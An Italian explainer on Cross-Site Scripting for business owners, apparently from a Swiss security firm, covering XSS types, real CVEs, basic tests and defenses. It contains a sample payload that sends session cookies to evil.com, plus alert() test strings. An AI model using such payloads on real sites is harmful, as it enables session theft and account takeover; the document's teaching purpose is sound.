XSS (Cross-Site Scripting) spiegato per imprenditori

Cos'e XSS, senza il gergo tecnico

Cross-Site Scripting, abbreviato universalmente come XSS, e un tipo di attacco in cui qualcuno inietta codice JavaScript dannoso in un sito web in modo che venga eseguito nei browser di altre persone. Quando un visitatore carica la pagina interessata, il suo browser esegue il codice dell'aggressore come se fosse una parte legittima del sito.

Pensala cosi: il tuo sito web e un documento che i browser dei tuoi visitatori leggono e visualizzano. Se un aggressore riesce a inserire le proprie istruzioni in quel documento, il browser di ogni visitatore seguira quelle istruzioni. Il browser non ha modo di distinguere tra il tuo codice legittimo e il codice iniettato dall'aggressore. Esegue tutto.

XSS e nella lista OWASP Top 10 dei rischi di sicurezza delle applicazioni web da oltre vent'anni. Nonostante sia ben compreso e ben documentato, rimane una delle vulnerabilita piu comuni trovate nei siti web di tutto il mondo. Il motivo e semplice: prevenire XSS richiede disciplina in ogni singolo punto dove i dati entrano ed escono dalla tua applicazione, e la maggior parte degli sviluppatori non mantiene quella disciplina in modo coerente.

Come funziona XSS: un esempio passo dopo passo

La configurazione

Immagina che il sito web della tua azienda abbia una funzione di ricerca. Un utente digita "sedie da ufficio" nella casella di ricerca, e la pagina mostra: "Hai cercato: sedie da ufficio" insieme ai risultati. Il termine di ricerca viene riflesso nella pagina.

Sotto il cofano, la pagina sta facendo qualcosa del genere nel suo HTML:

<p>Hai cercato: sedie da ufficio</p>

Il termine di ricerca dall'URL o dall'input del modulo viene inserito direttamente nell'HTML. Se lo sviluppatore non ha sanitizzato o codificato questo input, un aggressore puo creare una query di ricerca speciale:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Cosa succede dopo

Il browser della vittima vede un tag <script> e lo esegue. Il codice JavaScript invia i cookie di sessione della vittima al server dell'aggressore. Con quei cookie, l'aggressore puo impersonare la vittima, accedere come loro e fare qualsiasi cosa potessero fare sul sito web.

La vittima non vede nulla di insolito. Forse la pagina sfarfalla per un momento. La maggior parte delle persone non noterebbe mai nulla.

Tre tipi di XSS

1. XSS Riflesso (Reflected)

Lo script dannoso e parte della richiesta (di solito in un parametro URL) e viene riflesso nella risposta. L'attacco richiede che la vittima clicchi un link appositamente creato.

Come viene tipicamente sfruttato: L'aggressore invia un'email di phishing o pubblica un link sui social media che punta alla pagina vulnerabile con il payload dannoso nell'URL. Quando la vittima clicca, lo script viene eseguito nel suo browser.

Persistenza: Nessuna. L'attacco funziona solo quando la vittima clicca il link specifico.

2. XSS Memorizzato (Stored)

Questa e la variante piu pericolosa. Lo script dannoso viene salvato nel database del sito web e mostrato a ogni visitatore che visualizza la pagina interessata. Punti di iniezione comuni includono campi commento, post del forum, profili utente e recensioni prodotto.

Come viene tipicamente sfruttato: L'aggressore invia lo script dannoso attraverso un modulo. Il server lo memorizza nel database. Quando qualsiasi visitatore carica la pagina, lo script memorizzato viene incluso nell'HTML e si esegue automaticamente.

Persistenza: Permanente fino a quando il contenuto dannoso non viene rimosso dal database.

Gravita: Da alta a critica. Ogni visitatore e interessato, non solo chi clicca un link specifico.

3. XSS basato su DOM

Questo tipo si verifica interamente nel browser, senza che il payload dannoso venga inviato al server. La vulnerabilita esiste nel codice JavaScript lato client che elabora frammenti URL, local storage o altre fonti di dati lato browser in modo non sicuro.

Persistenza: Nessuna. Richiede che la vittima acceda all'URL creato appositamente.

Gravita: Da media ad alta. Piu difficile da rilevare perche il payload potrebbe non apparire mai nei log del server.

Cosa possono fare gli aggressori con XSS

Una volta che un aggressore puo eseguire JavaScript nel browser di una vittima mentre si trova sul tuo sito web, la gamma di attacchi possibili e ampia:

Furto di sessione (Cookie Theft)

L'aggressore ruba il cookie di sessione della vittima e lo usa per impersonarla. Se la vittima e loggata come amministratore, l'aggressore ha ora accesso admin al tuo sito web. Questa e probabilmente la tecnica di sfruttamento XSS piu comune.

Raccolta di credenziali

Lo script dell'aggressore modifica la pagina di login per inviare le credenziali a un server esterno quando l'utente accede. L'utente vede il normale modulo di login, digita il suo nome utente e password, e i dati vanno sia al tuo server che a quello dell'aggressore.

Keylogging

Lo script iniettato registra un listener di eventi sulla pagina che cattura ogni tasto premuto dall'utente. Tutto cio che digitano, incluse password, numeri di carta di credito e messaggi personali, viene inviato all'aggressore.

Defacement e manipolazione del contenuto

Lo script puo modificare il contenuto visibile della pagina. Puo cambiare prezzi, alterare descrizioni di prodotti, inserire notizie false o sostituire contenuti legittimi con il messaggio dell'aggressore.

Redirect a siti malevoli

Lo script reindirizza silenziosamente il visitatore a un sito di phishing, una pagina di distribuzione malware o il sito web di un concorrente.

Mining di criptovalute

Lo script usa il browser del visitatore per minare criptovalute in background. Questo ruba risorse computazionali, scarica la batteria sui dispositivi mobili e rallenta l'esperienza di navigazione.

Esempi reali di XSS nei plugin CMS piu diffusi

XSS non e una preoccupazione teorica. Viene trovato regolarmente nei plugin e temi che funzionano su siti web aziendali reali:

• CVE-2024-4345 (Starter Templates di Brainstorm Force): XSS memorizzato che colpisce oltre 1 milione di installazioni. Un aggressore con accesso a livello contributore poteva iniettare JavaScript che veniva eseguito ogni volta che qualcuno visualizzava la pagina interessata.
• CVE-2024-1071 (Ultimate Member Plugin): XSS memorizzato nei campi profilo utente. Un aggressore poteva creare un account con JavaScript dannoso nel nome del profilo. Quando un amministratore visualizzava la lista utenti, lo script veniva eseguito nel contesto admin.
• CVE-2023-6961 (WP Meta SEO): XSS riflesso nella pagina impostazioni del plugin. Un aggressore poteva creare un link che, quando cliccato da un admin, eseguiva JavaScript arbitrario nel pannello admin di WordPress.
• Contact Form 7 (vari CVE nel corso degli anni): Multiple vulnerabilita XSS sono state trovate in uno dei plugin WordPress piu popolari, con oltre 5 milioni di installazioni attive.

Lo schema e coerente: ovunque l'input dell'utente venga visualizzato senza codifica adeguata, XSS e possibile.

Come testare XSS (in sicurezza)

Se vuoi verificare se il tuo sito web e vulnerabile a XSS, ecco alcuni approcci che non danneggeranno il tuo sito:

Test manuale base

Prova a inserire questa stringa in qualsiasi campo di input sul tuo sito web (caselle di ricerca, moduli di contatto, sezioni commenti, pagine di login):

<script>alert('XSS')</script>

Se appare una finestra popup con il testo "XSS", quell'input e vulnerabile a XSS. Se il testo viene visualizzato come caratteri letterali sulla pagina, l'input viene codificato correttamente.

Prova anche queste varianti:

• <img src=x onerror=alert('XSS')>
• <svg onload=alert('XSS')>

Strumenti automatizzati gratuiti

• OWASP ZAP (Zed Attack Proxy): Uno strumento di scansione di sicurezza gratuito e open-source che puo rilevare XSS e molte altre vulnerabilita.
• Nikto: Uno scanner web server open-source che verifica vari problemi di sicurezza.
• Strumenti sviluppatore del browser: La console del browser e la scheda network possono aiutarti a vedere come l'input viene riflesso nel sorgente della pagina.

Prevenzione: come fermare XSS

Ci sono quattro difese principali contro XSS, e funzionano meglio in combinazione:

1. Codifica dell'output

Questa e la difesa primaria. Ogni volta che dati forniti dall'utente vengono inseriti in una pagina HTML, devono essere codificati in modo che il browser li tratti come testo, non come codice. I caratteri <, >, &, " e ' devono essere convertiti nei loro equivalenti entita HTML.

La maggior parte dei framework web moderni fornisce codifica automatica dell'output per impostazione predefinita (React, Angular, Vue.js, Twig, Blade). Il pericolo e quando gli sviluppatori la aggirano.

2. Validazione dell'input

Valida tutti gli input lato server. Se un campo dovrebbe contenere un indirizzo email, verifica che corrisponda al formato email e rifiuta qualsiasi altra cosa. La validazione dell'input da sola non e sufficiente, ma riduce la superficie di attacco.

3. Content Security Policy (CSP)

Content Security Policy e un header HTTP che dice al browser quali fonti di JavaScript sono fidate. Una CSP ben configurata puo impedire l'esecuzione di XSS anche se viene iniettato con successo. Per maggiori informazioni sugli header di sicurezza, vedi il nostro articolo sugli header HTTP di sicurezza per i siti web.

4. Flag HttpOnly e Secure sui cookie

Impostare il flag HttpOnly sui cookie di sessione impedisce a JavaScript di leggerli. Questo significa che anche se un attacco XSS ha successo, l'aggressore non puo rubare i cookie di sessione. Il flag Secure garantisce che i cookie vengano inviati solo tramite HTTPS.

Perche la maggior parte degli sviluppatori web in Ticino non testa per XSS

Saro diretto su questo. La maggior parte delle agenzie di sviluppo web in Ticino, e in tutta la Svizzera, non testa il proprio lavoro per vulnerabilita XSS. I motivi sono una combinazione di economia, formazione e priorita:

• La sicurezza non fa parte della formazione. La maggior parte degli sviluppatori web impara a far funzionare le cose, non a renderle sicure. Bootcamp, corsi online e anche programmi universitari si concentrano sulla funzionalita.
• I test di sicurezza richiedono tempo e non si vedono. Dal punto di vista del cliente, un sito web testato per la sicurezza appare identico a uno che non lo e. Ma il sito testato ha richiesto piu ore per essere costruito, il che significa un prezzo piu alto.
• Si assume che i plugin CMS siano sicuri. Quando uno sviluppatore installa un plugin WordPress, assume che lo sviluppatore del plugin abbia gestito la sicurezza. Questa assunzione e sbagliata molto piu spesso di quanto dovrebbe.
• Nessuno lo chiede. Gli imprenditori raramente chiedono "avete testato per XSS?" durante un progetto web. Chiedono di design, tempistiche e prezzo.

L'impatto aziendale delle vulnerabilita XSS

Furto di dati

Se il tuo sito web gestisce dati personali (moduli di contatto, account di login, transazioni e-commerce), XSS puo essere usato per rubare quei dati. Ai sensi della nLPD svizzera e del GDPR UE, sei responsabile della protezione dei dati personali con misure tecniche adeguate.

Responsabilita legale

Se i dati di un cliente vengono rubati attraverso il tuo sito web a causa di una classe di vulnerabilita nota che non hai testato, la tua esposizione legale e significativa.

Fiducia dei clienti

Quando i clienti scoprono che il tuo sito web e stato usato per rubare le loro credenziali o reindirizzarli a siti di phishing, il danno alla fiducia e grave e duraturo.

SEO e reputazione

Google segnala attivamente i siti web che servono contenuti dannosi. Un attacco XSS che reindirizza i visitatori o distribuisce malware attiverà avvisi di Google Safe Browsing, facendo crollare la tua visibilita nelle ricerche.

Cosa fare dopo

Se sei un imprenditore preoccupato per XSS:

1. Chiedi al tuo sviluppatore o agenzia: "Quali misure avete preso per prevenire XSS sul nostro sito web? Potete mostrarmi i risultati dei test?" Se non possono rispondere chiaramente, questo ti dice qualcosa.
2. Controlla i tuoi header di sicurezza: Visita securityheaders.com e inserisci il tuo dominio. Cerca l'header Content-Security-Policy.
3. Fai fare una valutazione di sicurezza: Una valutazione professionale della sicurezza dell'applicazione web identifichera le vulnerabilita XSS insieme ad altri problemi.
4. Implementa CSP: Anche se non puoi risolvere immediatamente ogni vulnerabilita XSS, implementare una Content Security Policy fornisce una rete di sicurezza.
5. Rivedi le impostazioni dei cookie: Assicurati che i cookie di sessione abbiano i flag HttpOnly e Secure impostati.

XSS e una di quelle vulnerabilita che sembrano astratte fino a quando non ti capitano. Ma lo sfruttamento e reale, il danno e misurabile e la prevenzione e ben consolidata. Non c'e motivo per cui un sito web aziendale nel 2025 debba essere vulnerabile agli attacchi XSS.

Se hai bisogno di aiuto per valutare l'esposizione XSS del tuo sito web o implementare protezioni, contattaci. Aiutiamo le aziende svizzere a identificare e correggere le vulnerabilita delle applicazioni web prima che gli aggressori le trovino.